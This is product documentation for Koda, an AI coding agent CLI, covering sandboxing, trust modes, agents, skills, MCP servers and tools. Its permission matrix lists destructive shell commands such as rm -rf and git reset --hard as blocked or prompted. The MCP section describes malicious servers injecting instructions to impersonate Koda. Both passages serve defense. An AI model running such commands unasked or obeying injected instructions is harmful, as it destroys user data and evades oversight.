Within that clamp, sub-agents resolve permission decisions through a context-sensitive matrix (koda_core::trust::check_tool_for_sub_agent) that differs from the master matrix on the β€œask” cells: mutating ops auto-approve and destructive ops block, since sub-agents have no live human approval channel by design. See Trust modes Β§ sub-agent matrix.

Platform backends

PlatformBackendInstall
macOSsandbox-exec (seatbelt)Built-in
Linuxbwrap (bubblewrap)apt install bubblewrap
WindowsNot supportedβ€”

If the platform backend is unavailable (e.g. bwrap not installed on Linux), behavior depends on your trust mode:

  • Auto mode: koda refuses to start with an actionable error that includes a platform-specific install hint (e.g. apt install bubblewrap on Linux). Auto auto-approves mutating tool calls and relies on the kernel sandbox to contain them β€” silently dropping that boundary at startup is a security foot-gun. See #860.
  • Safe mode: koda runs unsandboxed with a one-time warning (tracing::warn!). The human is the primary boundary in Safe (every mutation prompts), so the sandbox is defense-in-depth rather than the primary perimeter.
  • Plan mode (sub-agent only): kernel sandbox state is irrelevant β€” Plan denies all mutating tools at the trust layer; Bash never runs.

Run koda --version to see your platform’s sandbox state in one line (paste-friendly for bug reports). The TUI status bar also surfaces the current state next to the trust badge (πŸ›‘ sandboxed / ⚠ unsandboxed).

Workspace providers

The sandbox backend (above) restricts what syscalls a sub-agent can make. The workspace provider is a separate layer that decides where those syscalls write β€” it materializes an isolated copy of your project for each write-capable sub-agent so concurrent fan-out doesn’t trample shared files.

Isolation guarantees are identical across platforms. Only how the isolated workspace is materialized β€” and therefore how fast it is β€” differs:

PlatformProvider (write-capable agents)Backing primitiveTypical provision time
macOSClonefileProviderAPFS clonefile(2)~0.4 s for 30-parallel
LinuxGitWorktreeProvidergit worktree add~1.6 s for 30-parallel
WindowsNot supportedβ€”β€”

Numbers from the parallel_dispatch bench (cargo bench --bench parallel_dispatch -p koda-sandbox) on a fixture project; exact figures vary by hardware and project size.

Read-only sub-agents (no Write or Edit tools) skip the workspace provider entirely on every platform β€” they share the parent project root for free, no provisioning cost.

Why the platforms differ

macOS exposes a kernel primitive (clonefile(2)) that creates a copy-on-write snapshot of an entire directory tree in a single syscall. Linux has no equivalent that’s both unprivileged and available out of the box across distros β€” reflink requires an FS that supports it (XFS, Btrfs, some ext4 configs), overlayfs typically requires CAP_SYS_ADMIN, and fuse-overlayfs is a userspace dep. Until production usage shows Linux fan-out is meaningfully bottlenecked by the git worktree cost, Koda uses git worktrees there for portability.

Practical implications

  • macOS sub-agent fan-out is faster than Linux by a constant factor (~3-4Γ— in the workspace-provision phase). For typical interactive use (a few sub-agents per task) the difference is sub-second and not noticeable. For heavy parallel fan-out (dozens of sub-agents) it shows up.
  • The 30-parallel acceptance gate is met on both platforms. Even the slower Linux path runs in single-digit seconds for 30 concurrent write-capable sub-agents.
  • Falling back gracefully: if ClonefileProvider can’t be constructed on macOS (e.g. $HOME unset, project path can’t canonicalize), Koda automatically falls back to GitWorktreeProvider with a tracing::warn!. If the actual clonefile(2) syscall fails at runtime (rare β€” happens on non-APFS volumes), the dispatcher falls back to running unisolated against the shared project root with a warning.
  • Closing the gap: a Linux CoW backend is on the roadmap but parked until production telemetry justifies it (tracked in #934). If you run large parallel fan-out workloads on Linux and feel the slowness, please open an issue β€” that’s exactly the signal that would un-defer the work.

Session management

Koda stores every conversation in a local SQLite database, organised by project root. Each session gets a UUID that you can use to resume it.

# List and pick a session interactively
/sessions

# Resume by ID prefix from the TUI
/sessions resume a3f8bc

# Resume from the command line (headless or interactive)
koda -s a3f8bc
koda -s a3f8bc "continue where we left off"

# Delete a session permanently
/sessions delete a3f8bc

Away summary

When you resume a session that was idle, Koda shows:

  • How long you were away
  • Message and tool-call counts
  • Total tokens used
  • A banner if the previous turn was interrupted mid-inference

Session title

Koda auto-generates a short title after the first exchange. The title is shown in /sessions and the status bar.

Context management

Every provider has a context window limit (measured in tokens). The status bar shows current usage as a percentage (e.g. 34%).

Auto-compact

When usage reaches 85%, Koda automatically compacts the session:

  1. All but the last 4 messages are summarised by the model
  2. The summary is stored in the DB (recoverable with /purge)
  3. A status line appears: 🐻 Context at 85% β€” auto-compacting…

Auto-compact is skipped if there are pending tool calls (it waits for the turn to finish cleanly).

Manual compact

Run /compact at any time to compact early, e.g. before starting a large refactor so you have the full context window available.

Purging archived history

/compact keeps summaries in the DB. Use /purge to delete them:

/purge        ← prompt and delete all archived messages
/purge 90d    ← delete only archived messages older than 90 days

Memory

Memory files persist facts and preferences across sessions.

Project memory β€” MEMORY.md in the project root (Koda also reads CLAUDE.md and AGENTS.md for compatibility). Injected into every system prompt for that project.

Global memory β€” ~/.config/koda/memory.md. Injected into every system prompt across all projects.

/memory        ← show the paths to both memory files
/memory save   ← ask the model to summarise and append to MEMORY.md

MemoryWrite tool

The MemoryWrite tool lets the model append facts to memory directly during a conversation:

> Remember that we use tabs not spaces in this project

Koda will call MemoryWrite automatically when you ask it to remember.

File precedence

FileScopePriority
.koda/MEMORY.mdProjectHighest
MEMORY.mdProject rootHigh
CLAUDE.mdProject rootHigh (compatibility)
AGENTS.mdProject rootHigh (compatibility)
~/.config/koda/memory.mdGlobalBase

Providers & model aliases

Supported providers

Provider name--provider valueAPI key env varDefault modelNeeds key
AnthropicanthropicANTHROPIC_API_KEYclaude-sonnet-4-6βœ“
OpenAIopenaiOPENAI_API_KEYgpt-4oβœ“
Google GeminigeminiGEMINI_API_KEYgemini-flash-latestβœ“
GroqgroqGROQ_API_KEYllama-3.3-70b-versatileβœ“
Grok / xAIgrokXAI_API_KEYgrok-3βœ“
DeepSeekdeepseekDEEPSEEK_API_KEYdeepseek-chatβœ“
MistralmistralMISTRAL_API_KEYmistral-large-latestβœ“
MiniMaxminimaxMINIMAX_API_KEYminimax-text-01βœ“
OpenRouteropenrouterOPENROUTER_API_KEYanthropic/claude-3.5-sonnetβœ“
Together AItogetherTOGETHER_API_KEYLlama-3.3-70B-Instruct-Turboβœ“
Fireworks AIfireworksFIREWORKS_API_KEYllama-v3p3-70b-instructβœ“
LM Studiolm-studioβ€”auto-detectβœ—
Ollamaollamaβ€”auto-detectβœ—
vLLMvllmβ€”auto-detectβœ—

Local providers (LM Studio, Ollama, vLLM) are auto-detected on first run and require no API key. The model is discovered from the running server.

Model aliases

Aliases let you switch models without memorising exact IDs. They’re shown in the /model picker and accepted by --model and /model.

AliasProviderExact model ID
gemini-flash-liteGeminigemini-flash-lite-latest
gemini-flashGeminigemini-flash-latest
gemini-proGeminigemini-pro-latest
claude-haikuAnthropicclaude-haiku-4-5-20251001
claude-sonnetAnthropicclaude-sonnet-4-6
claude-opusAnthropicclaude-opus-4-6
localLM Studioauto-detect at runtime

You can also use any literal model ID your provider supports β€” aliases are just shortcuts. koda --model gpt-4o-mini or /model o3 both work.

HTTP timeouts

All providers use a shared HTTP client with the following timeout defaults:

SettingDefaultEnv overrideDescription
Connect timeout30 sKODA_CONNECT_TIMEOUT_SECSTime allowed to establish the TCP/TLS connection
Read timeout300 s (5 min)KODA_READ_TIMEOUT_SECSTime allowed between bytes from the server (per-byte, not total)

The read timeout is per-byte, not total. A long streaming response is fine as long as bytes keep arriving β€” the timer resets on each chunk. This means slow networks or chatty SSE streams won’t get murdered mid-turn, but a stalled connection (server hung after last byte) will fail fast.

When to tune these

  • Behind a slow corporate proxy? Bump KODA_CONNECT_TIMEOUT_SECS to 60 or 90. Connection-phase timeouts often manifest as β€œrequest timed out” with no usage data, which is the giveaway.
  • Long-running model on a flaky link? Bump KODA_READ_TIMEOUT_SECS to 600+. Read-phase timeouts manifest as a partial response cut short partway through generation. (Note: koda also auto-retries transient network errors up to 5 times with exponential backoff; see is_network_transient_error.)
  • Local provider (Ollama, LM Studio, vLLM) and you want fail-fast? Drop KODA_READ_TIMEOUT_SECS to 30 β€” local models that hang are usually truly hung, not slow.

Example

KODA_CONNECT_TIMEOUT_SECS=60 KODA_READ_TIMEOUT_SECS=300 koda

Configuration

Precedence

When multiple sources specify the model, provider, or API key, the highest-priority source wins:

1. CLI flags          --model, --provider, --base-url        (highest)
       ↓
2. Shell env vars     KODA_MODEL, KODA_PROVIDER, KODA_BASE_URL
       ↓
3. Keystore / DB      saved by /model, /provider, /key (injected at startup)
       ↓
4. Built-in defaults  Claude Sonnet via Anthropic              (lowest)

API keys (ANTHROPIC_API_KEY, OPENAI_API_KEY, GEMINI_API_KEY, …) follow the same chain. Keys saved with /key are injected at startup β€” but a key already in the shell environment takes precedence and is never overwritten.

# Per-call override (doesn't change saved config)
koda "review auth.rs" --model o3

# Per-project via direnv (.envrc)
export KODA_MODEL=gemini-2.5-pro

# CI / GitHub Actions
ANTHROPIC_API_KEY=${{ secrets.ANTHROPIC_KEY }} koda -p "check types"

Config files

Everything lives in ~/.config/koda/:

PathContent
db/koda.dbSQLite β€” sessions, messages, settings, API keys, input history
logs/koda.logRolling daily tracing log (not shown in the TUI)
agents/Global custom agent JSON definitions
skills/Global custom skill markdown files
memory.mdGlobal memory (injected into all system prompts)

Project-level overrides live in .koda/ at your project root and take priority over global config:

PathContent
.koda/agents/Project-specific agent definitions
.koda/skills/Project-specific skills
MEMORY.mdProject memory (also checks CLAUDE.md, AGENTS.md)

Display

Koda’s TUI ships ANSI-colored syntax highlighting by default. Disable with one flag for environments where the output looks awful (monochrome themes, non-RGB-aware terminals).

Env varDefaultDisable with
KODA_SYNTAX_HIGHLIGHTonoff, 0, false, or no
  • KODA_SYNTAX_HIGHLIGHT controls TUI syntax highlighting for Read, Bash headers, and inline code. Disable for monochrome terminals or terminals where ANSI-RGB output looks washed out. Memoized on first call β€” restart koda after changing.

The negative values above (off, 0, false, no) are case-insensitive; everything else (including empty string and on) keeps the feature enabled.

Removed in v0.2.26: KODA_TRANSCRIPT_HYPERLINKS and KODA_EXPORT_VERBOSE previously controlled /export output formatting. Both were removed alongside /export itself when RFC #1167 collapsed transcript export into /debug-bundle. Setting either var is now a silent no-op; remove them from your shell rc files.

Custom agents

Place JSON files in .koda/agents/ (project-local) or ~/.config/koda/agents/ (global):

{
  "name": "testgen",
  "system_prompt": "You are a test generation specialist. When asked to write tests, always use the project's existing test patterns.",
  "model": "gemini-2.5-flash",
  "trust": "safe",
  "allowed_tools": ["Read", "Write", "Edit", "Bash", "Grep", "Glob"]
}

Agent fields

FieldRequiredDescription
nameβœ“Identifier used with /agent <name> and InvokeAgent
system_promptβœ“The agent’s persona and instructions
trust"plan" (read-only), "safe" (write-capable, default), or "auto" (auto-approve mutations within sandbox). See Trust modes.
modelModel alias or ID (defaults to current saved model)
allowed_toolsSubset of tools the agent can call (defaults to all)
disallowed_toolsTools to deny even if allowed_tools is empty
max_iterationsPer-sub-agent turn cap (default: 30 for sub-agents, 200 for top-level). See Sub-agent budget.
skip_memorySkip injecting project/global memory into the prompt (saves tokens for read-only agents)
write_accessDeprecated β€” use trust instead. Pre-existing JSONs still work; a warning is logged at load. See Migration from write_access.

Three example shapes

The trust field is the primary mechanism. Most custom agents fall into one of three shapes:

Read-only investigator (Plan trust)

For agents that should only investigate, never modify state:

{
  "name": "auditor",
  "system_prompt": "You audit code for security issues. Read, grep, and report β€” never modify files.",
  "trust": "plan",
  "skip_memory": true
}

trust: "plan" makes the kernel sandbox enforce read-only at the syscall level β€” strictly stronger than soft-denying Write/Edit/Delete in disallowed_tools. (Soft-denying still works as a behavioral floor for tools the matrix can’t gate, like InvokeAgent or AskUser.)

Write-capable worker (Safe trust)

The default shape for agents that need to make changes:

{
  "name": "testgen",
  "system_prompt": "You write tests. Match the project's existing patterns.",
  "trust": "safe",
  "allowed_tools": ["Read", "Write", "Edit", "Bash", "Grep", "Glob"]
}

In Safe trust, the sub-agent matrix auto-approves mutating ops (Write/Edit/MemoryWrite) and blocks destructive ops (rm -rf, git reset --hard, Delete). No human prompt needed because there’s no UI for the sub-agent to prompt into.

Read-only with execution escape valve (Safe trust + denied writes)

For agents that need to run tests / inspect runtime state but should never modify code (e.g. the built-in verify agent):

{
  "name": "verify",
  "system_prompt": "You verify behavior by running tests. Never edit source.",
  "trust": "safe",
  "disallowed_tools": ["Write", "Edit", "Delete"]
}

This is strictly different from trust: "plan": the agent can still call Bash (run cargo test, pytest, etc.) but the trust matrix’s auto-approve for mutating tools is overridden by the soft denylist. Plan would deny Bash outright as a mutation.

Migration from write_access

The legacy write_access: bool field is deprecated. The mapping:

Old shapeNew shape
{ "write_access": true }{ "trust": "safe" }
{ "write_access": false }{ "trust": "plan" }
{ "write_access": false, "disallowed_tools": [...] }{ "trust": "plan", "disallowed_tools": [...] }

Pre-existing JSONs without trust still work via a back-compat default-deny: write_access: false (or absent) injects Write/Edit/Delete into disallowed_tools at load. Adding trust explicitly skips the legacy default-deny so an explicit trust: "safe" declaration works cleanly without surprise denials.

A deprecation warning is logged at load when both trust and write_access: true appear in the same JSON.

Sub-agent budget

Sub-agents are bounded by a per-invocation turn cap to prevent runaway exploration (#1135). The default is 30 turns β€” empirically enough for any reasonable read-only investigation on a moderate codebase, and matching gemini-cli’s DEFAULT_MAX_TURNS. Long-running write agents that legitimately need more can opt up:

{
  "name": "big-refactor",
  "trust": "safe",
  "max_iterations": 100,
  "...": "..."
}

When a sub-agent hits its budget without producing a final answer, Koda runs one grace turn with this system reminder appended:

You have reached the maximum number of turns. You have ONE final chance to complete the task. You MUST respond with your best answer NOW as plain text. DO NOT call any more tools β€” any tool calls in this response will be ignored.

If the model complies, its grace-turn text becomes the sub-agent’s result. If the model defies the reminder and emits more tool calls, those calls are dropped and the sub-agent returns a [max_turns reached: ...] marker so the parent (and user) can see what happened.

The top-level Koda agent still uses the larger 200-turn cap with an interactive extension prompt (LoopCapReached) β€” the budget pattern is sub-agent-only.

Using agents

/agent testgen     ← switch to a named agent for the current session

The main model dispatches to sub-agents via the InvokeAgent tool. Each sub-agent runs in its own worktree with its own model, tools, and session.

Built-in agents

AgentTrustPurpose
defaultsafeGeneral-purpose coding assistant β€” the master agent shape
tasksafeGeneric write-capable sub-agent for InvokeAgent dispatch
exploreplanRead-only investigation sub-agent β€” code review, dependency tracing, audit trails
planplanRead-only planning sub-agent β€” proposes changes without making them
verifysafeExecution-only sub-agent β€” runs tests/scripts but Write/Edit/Delete are denied as a behavioral floor

Skills

Skills are reusable expertise modules β€” markdown files loaded into the system prompt on demand.

/skills                  ← list all available skills
/skills security         ← filter by name or description

The model can also activate skills automatically via the ActivateSkill tool when it determines a skill is relevant.

Creating custom skills

Place a SKILL.md file inside a named directory under .koda/skills/ (project-local) or ~/.config/koda/skills/ (global). The directory name becomes the skill name.

.koda/
  skills/
    my-checklist/
      SKILL.md        ← skill content goes here

SKILL.md format

Frontmatter is YAML between --- fences; the body is the skill prompt:

---
name: my-checklist
description: One-line summary shown in ListSkills output.
tags: [review, quality]
when_to_use: Use when the user asks to review a pull request or a diff.
allowed_tools: [Read, Grep, Glob]
user_invocable: true
argument_hint: <file_or_pr_url>
---

# My Review Checklist

When reviewing code, always check:
- [ ] No hardcoded secrets
- [ ] Error handling covers all paths
- [ ] Tests cover the new logic
FieldRequiredDescription
nameβœ”Skill identifier (used with ActivateSkill)
descriptionrecommendedOne-line summary shown in ListSkills
tagsoptionalSearchable tags: [tag1, tag2]
when_to_userecommendedGuidance for the model on when to activate
allowed_toolsoptionalRestrict tools during activation (empty = all)
user_invocableoptionalfalse = model-only, hidden from /skills
argument_hintoptionalUsage hint (e.g. <file_path>)

Note: Both underscore (allowed_tools) and hyphenated (allowed-tools) field names are accepted for CC compatibility.

How allowed_tools enforcement works

When a skill with allowed_tools is activated:

  1. Tool definitions are filtered β€” only the listed tools (plus meta-tools like ActivateSkill, ListSkills, ListAgents, InvokeAgent, AskUser) are sent to the LLM on subsequent turns.
  2. Blocked tool calls are rejected β€” if the model still attempts a blocked tool (e.g., from cached context), the call returns an error explaining the scope restriction.
  3. Scope clears automatically when a different skill without allowed_tools is activated.

Scope transitions are logged as info events (πŸ”’ scope activated / πŸ”“ scope cleared).

Skill lookup order

  1. .koda/skills/ (project-local, highest priority)
  2. ~/.config/koda/skills/ (global)
  3. Built-in skills bundled with the binary

Project-local skills shadow global ones with the same name.

MCP servers (Model Context Protocol)

Koda can connect to external MCP servers as a client, expanding its toolset with anything exposed over the MCP protocol β€” Playwright for browser automation, database drivers, Slack, internal APIs, and more.

Quick start

# Add a stdio server (spawns a child process)
/mcp add playwright npx -y @playwright/mcp

# Add an HTTP server
/mcp add-http my-api https://api.example.com/mcp

# Add an HTTP server with bearer-token auth
/mcp add-http my-api https://api.example.com/mcp --token sk-mytoken

# List all configured servers and their status
/mcp list

# Reconnect a server without restarting Koda
/mcp reconnect playwright

# Remove a server
/mcp remove playwright

Slash commands

/mcp list

Shows every configured MCP server, its transport (stdio / http), and its current connection status (connected / failed / disconnected).

/mcp add <name> <command> [args...]

Add a stdio MCP server. Koda spawns <command> with the given arguments and communicates over stdin/stdout.

/mcp add playwright  npx -y @playwright/mcp
/mcp add db-tools    uvx koda-db --dsn postgresql://localhost/mydb

Name rules: letters, digits, hyphens, and underscores only ([a-zA-Z0-9_-]). Double-underscore (__) is reserved as Koda’s internal tool-routing separator and is not allowed.

/mcp add-http <name> <url> [--token <bearer>]

Add an HTTP MCP server using the MCP 2025-03-26 Streamable HTTP transport.

/mcp add-http my-api  https://api.example.com/mcp
/mcp add-http my-api  https://api.example.com/mcp --token sk-abc123

Security note: Bearer tokens sent over plaintext http:// are logged as a warning. Use https:// in production. Koda also blocks connections to private/loopback addresses (SSRF protection).

/mcp reconnect <name>

Disconnect and re-connect a running server without restarting Koda. Useful after updating the server binary or rotating credentials.

#/mcp remove `

Permanently delete the server config from the local keystore and disconnect it immediately. The server process (if stdio) is cleaned up automatically.

Tool naming

MCP tools appear in Koda’s tool registry as <server>__<tool>. For example, a tool named navigate on the playwright server becomes playwright__navigate.

The model can call these tools directly. No extra configuration is required.

Tool filtering

To limit which tools a server exposes, edit ~/.config/koda/mcp.json manually or use koda config (future release). Example snippet:

{
  "playwright": {
    "transport": "stdio",
    "command": "npx",
    "args": ["-y", "@playwright/mcp"],
    "enabled_tools": ["navigate", "click", "screenshot"]
  }
}

enabled_tools is an allowlist; disabled_tools is a denylist. If both are set, enabled_tools wins.

Transport reference

TransportHow it worksWhen to use
stdioKoda spawns a child process and communicates over stdin/stdoutLocal tools, CLI-wrapped servers
httpKoda connects to a running HTTP endpoint (MCP 2025-03-26 spec)Remote or shared servers, cloud APIs

Timeouts

SettingDefaultDescription
startup_timeout_sec30 sTime allowed for the server to respond to initialize
tool_timeout_sec120 sTime allowed for a single tool call to complete

Persistence

MCP server configs are stored in the local SQLite keystore (~/.local/share/koda/koda.db) under the mcp: key prefix. They survive session restarts and are loaded automatically on each startup.

Server-supplied instructions

The MCP spec lets each server return a free-form instructions string in its initialize response telling the model how to use it best β€” for example, β€œPrefer locator-based queries over CSS selectors” for a Playwright server, or β€œAlways use parameterized queries” for a Postgres server.

Koda surfaces these into the system prompt of every turn, in a dedicated block that comes after Koda’s own behavioral mandates:

# MCP Server Instructions

---[start of server instructions from playwright]---
Prefer locator-based queries over CSS selectors.
---[end of server instructions from playwright]---

---[start of server instructions from postgres]---
Always use parameterized queries.
---[end of server instructions from postgres]---

What this means for users

  • Zero token cost when no MCP servers are configured. The block is omitted entirely.
  • No config required. If you’ve added a server with /mcp add, its instructions surface automatically the next turn after it connects.
  • Hot-reload friendly. Adding or removing a server mid-session via /mcp add / /mcp remove updates the block in the next turn β€” there’s no stale-prompt window.

What this means for MCP server authors

  • The instructions field in your InitializeResult reaches the model verbatim. Treat it like a short README aimed at the LLM, not at humans.
  • Be concise β€” every byte costs tokens for every turn the user runs against your server.
  • Don’t try to override Koda’s own behavioral mandates. The provenance framing (---[start of server instructions from <name>]---) makes it obvious to the model that your block comes from your server, not from Koda itself, so impersonation attempts are visible.

Security note

Server-supplied instructions are untrusted content from the perspective of the user’s session β€” they originate from whoever runs the MCP server. Koda passes them through verbatim (no sanitization) but wraps them in clearly-labelled provenance markers so a malicious or compromised server can’t masquerade as Koda’s own mandates.

If you connect to MCP servers you don’t fully trust, prefer the stdio transport (which still flows through the OS sandbox for tool calls) and review the instructions block via your model’s tracing/debug output before granting Auto mode.

Troubleshooting

SymptomFix
Server shows failed on /mcp listCheck the command/URL, then /mcp reconnect <name>
Tools not appearing after addThe server may have taken longer than startup_timeout_sec to start β€” /mcp reconnect or restart Koda
__ in server name rejectedUse - instead: my-server not my__server
HTTP server SSRF errorPrivate/loopback URLs are blocked β€” use a public or VPN-accessible URL

Tools reference

Koda exposes these tools to the model. In Safe trust mode you’ll be prompted before each mutating call. In Auto mode, mutating ops within the project sandbox auto-approve, but destructive ops still prompt. See Trust modes for the canonical matrix.

ToolEffectDescription
ReadRead-onlyRead a file (with optional line range)
WriteMutatingCreate or overwrite a file
EditMutatingTargeted text replacement within a file
DeleteDestructiveDelete a file or directory
BashVariesRun a shell command
GrepRead-onlySearch for patterns across files (ripgrep)
GlobRead-onlyList files matching a glob pattern
WebFetchRead-onlyFetch a URL and return its text content
WebSearchRead-onlySearch the web via DuckDuckGo
ThinkInternalExtended reasoning step (no side effects)
MemoryReadRead-onlyRead from project or global memory
MemoryWriteMutatingAppend a fact to a memory file
TodoWriteRead-onlyUpdate the session task list (Koda-owned state, no FS impact)
RecallContextRead-onlySearch session history for past context
ListSkillsRead-onlyList available skills
ActivateSkillInternalLoad a skill’s instructions into context
InvokeAgentVariesDelegate a task to a named sub-agent
ListFilesRead-onlyList directory contents
AskUserInteractiveAsk the user a clarifying question
ListBackgroundTasksRead-onlySnapshot all background tasks owned by the caller
CancelTaskRead-onlyCancel a background agent or shell process
WaitTaskRead-onlyBlock until one or more background tasks finish (max 300 s/task, atomic gather)

Approval behaviour by trust mode

CategoryToolsPlanSafeAuto
Read-onlyRead, Grep, Glob, ListFiles, WebFetch, WebSearch, RecallContext, TodoWriteβœ… Autoβœ… Autoβœ… Auto
InternalThink, ActivateSkillβœ… Autoβœ… Autoβœ… Auto
MutationsWrite, Edit, MemoryWrite❌ Deny⏸ Promptβœ… Auto
DestructiveDelete❌ Deny⏸ Prompt⏸ Prompt
Agent callsInvokeAgentβœ… Autoβœ… Autoβœ… Auto
Background tasksListBackgroundTasks, CancelTask, WaitTaskβœ… Autoβœ… Autoβœ… Auto
User interactionAskUser⏸ Prompt⏸ Prompt⏸ Prompt
Safe shellgit status, grep, cargo testβœ… Autoβœ… Autoβœ… Auto
Mutating shellecho > file, gh issue create❌ Deny⏸ Promptβœ… Auto
Destructive shellrm -rf, sudo, git push --force, git reset --hard❌ Deny⏸ Prompt⏸ Prompt
Outside-project writeWrite/Edit to paths outside project root❌ Deny⏸ Prompt⏸ Prompt

See Trust modes for the canonical policy matrix and the sub-agent context-sensitive variant (sub-agents resolve ⏸ Prompt as auto-approve for mutations and block for destructive ops, since there’s no human channel to prompt into).

WaitTask

WaitTask blocks until one or more background tasks (sub-agents or shell processes) finish. As of v0.2.25 it is an atomic multi-task gather: pass an array of task IDs and get back results for all of them in a single tool call, with per-task error isolation.

Request shape

{
  "task_ids": ["agent:1", "agent:2", "sh:7"]
}
  • task_ids (required): array of strings. Each ID comes from the β€œstarted” message printed by InvokeAgent (e.g. agent:1) or by Bash when run in the background (e.g. sh:7).
  • One ID per task; duplicates are deduplicated.
  • Per-task budget is 300 seconds (5 minutes). The budget is per-task, not per-call: gathering 4 tasks does not give you 1200 s.

Response shape

{
  "tasks": [
    {"task_id": "agent:1", "status": "success", "result": {...}},
    {"task_id": "agent:2", "status": "failed",  "error": "..."},
    {"task_id": "sh:7",     "status": "timeout"}
  ],
  "summary": {
    "total": 3, "success": 1, "failed": 1, "timeout": 1,
    "cancelled": 0, "forbidden": 0, "not_found": 0
  }
}

Per-task status is one of: success, failed, timeout, cancelled, forbidden (caller does not own the task), or not_found (typo or already-reaped task).

Error isolation

A failure in one task does not fail the whole call. The model can inspect the summary block to decide what to retry. This is the breaking change from v0.2.24, where WaitTask accepted a single task_id and returned the bare result envelope.

Migration from v0.2.24

Any prompt or skill that hardcoded {"task_id": "agent:1"} must be updated to {"task_ids": ["agent:1"]}. Single-task waits still work β€” the array just has length 1.

ACP server (editor integration)

Koda implements the Agent Client Protocol over stdio JSON-RPC 2.0. This lets editors connect to Koda as a local agent without network setup.

# Start the server (editors launch this automatically)
koda server --stdio

Protocol lifecycle

Editor β†’ initialize           (negotiate protocol version)
Koda   ← InitializeResponse

Editor β†’ session/new          (create a session)
Koda   ← NewSessionResponse   (returns session_id)

Editor β†’ session/prompt       (send a user message)
Koda   ← [stream of session/update events]
Koda   ← PromptResponse       (turn complete)

Editor β†’ Cancel               (optional β€” aborts the running turn)

Each line on stdin/stdout is a complete, self-contained JSON-RPC object.

Editor setup

For VS Code, Zed, and other editors, see your editor’s extension docs for how to configure a local ACP agent. The command to register is:

koda server --stdio

No ports, no tokens, no network configuration required.

Privacy & data

Koda has zero telemetry. No usage data, crash reports, or analytics are collected or transmitted anywhere.

What stays local

  • Conversations are stored only in your local SQLite database
  • API keys are stored locally in the same database (file mode 0600)
  • The only network traffic is your LLM API calls to the provider you chose
  • Version checks query crates.io only (no Koda-specific server)
  • You can audit every byte sent to the model by reading the DB directly

Database location

~/.config/koda/db/koda.db

The database is a standard SQLite file. You can inspect it with any SQLite browser or the sqlite3 CLI.

Deleting your data

# Delete all sessions
rm ~/.config/koda/db/koda.db

# Or selectively from the TUI
/sessions delete <id>

There is no cloud backup. Deleted data is gone.

Troubleshooting

Koda crashed β€” where do I find the diagnostic info?

When koda hits an unrecoverable error and exits, it leaves a forensic record in:

~/.config/koda/logs/panic.log

Each crash appends a delimited block:

======================================================================
[2026-04-29T20:55:32Z] PANIC
version:    koda 0.2.26
location:   koda-core/src/foo.rs:42:8
thread:     <unnamed>
message:    assertion failed: x > 0
backtrace:
  0: ...
  1: ...
======================================================================

The most recent panic is always at the bottom of the file.

Getting a useful backtrace

By default, the backtrace section will say:

backtrace:
  (disabled β€” re-run with RUST_BACKTRACE=1 to capture)

To capture a full backtrace, re-run koda with:

RUST_BACKTRACE=1 koda

Or for symbol resolution at every frame (slower startup, more verbose):

RUST_BACKTRACE=full koda

What to share when reporting a crash

When filing an issue at https://github.com/lijunzh/koda/issues, please include:

  1. The most recent panic block from ~/.config/koda/logs/panic.log (with RUST_BACKTRACE=1 if possible)
  2. The contents of ~/.config/koda/logs/latest (the per-process log for the crashed run β€” symlinks to the most recent koda-<pid>.log)
  3. Your provider + model (e.g. gemini gemini-2.5-pro, anthropic claude-sonnet-4-5)

Log file rotation

Koda caps panic.log at 5 MB. When it exceeds that, it’s rotated:

  • panic.log.3 β€” dropped (oldest)
  • panic.log.2 β†’ panic.log.3
  • panic.log.1 β†’ panic.log.2
  • panic.log β†’ panic.log.1
  • panic.log β†’ recreated empty on the next crash

Three generations are kept. If you want to archive a panic before rotation, copy panic.log.1 somewhere safe.

Koda’s terminal looks corrupted after a crash

Koda installs a panic hook that restores the terminal (disables raw mode, leaves the alternate screen, drops mouse capture) before the panic message prints. If you ever see a corrupted terminal after a crash, that’s a bug β€” please file an issue including the panic.log entry above so we can fix the affected code path.

A quick local recovery:

stty sane && tput cnorm && printf '\033[?1049l\033[?1000l\033[?1006l'

Where else does koda log?

PathContents
~/.config/koda/logs/panic.logForensic crash records (this page)
~/.config/koda/logs/koda-<pid>.logPer-process tracing logs
~/.config/koda/logs/latest (symlink)Most recent per-process tracing log

Tracing verbosity is controlled by the RUST_LOG environment variable; the default is koda_core=info,koda_cli=info. Common debug recipes:

# More chatter from the inference loop
RUST_LOG=koda_core::session=debug koda

# Quiet everything but warnings
RUST_LOG=warn koda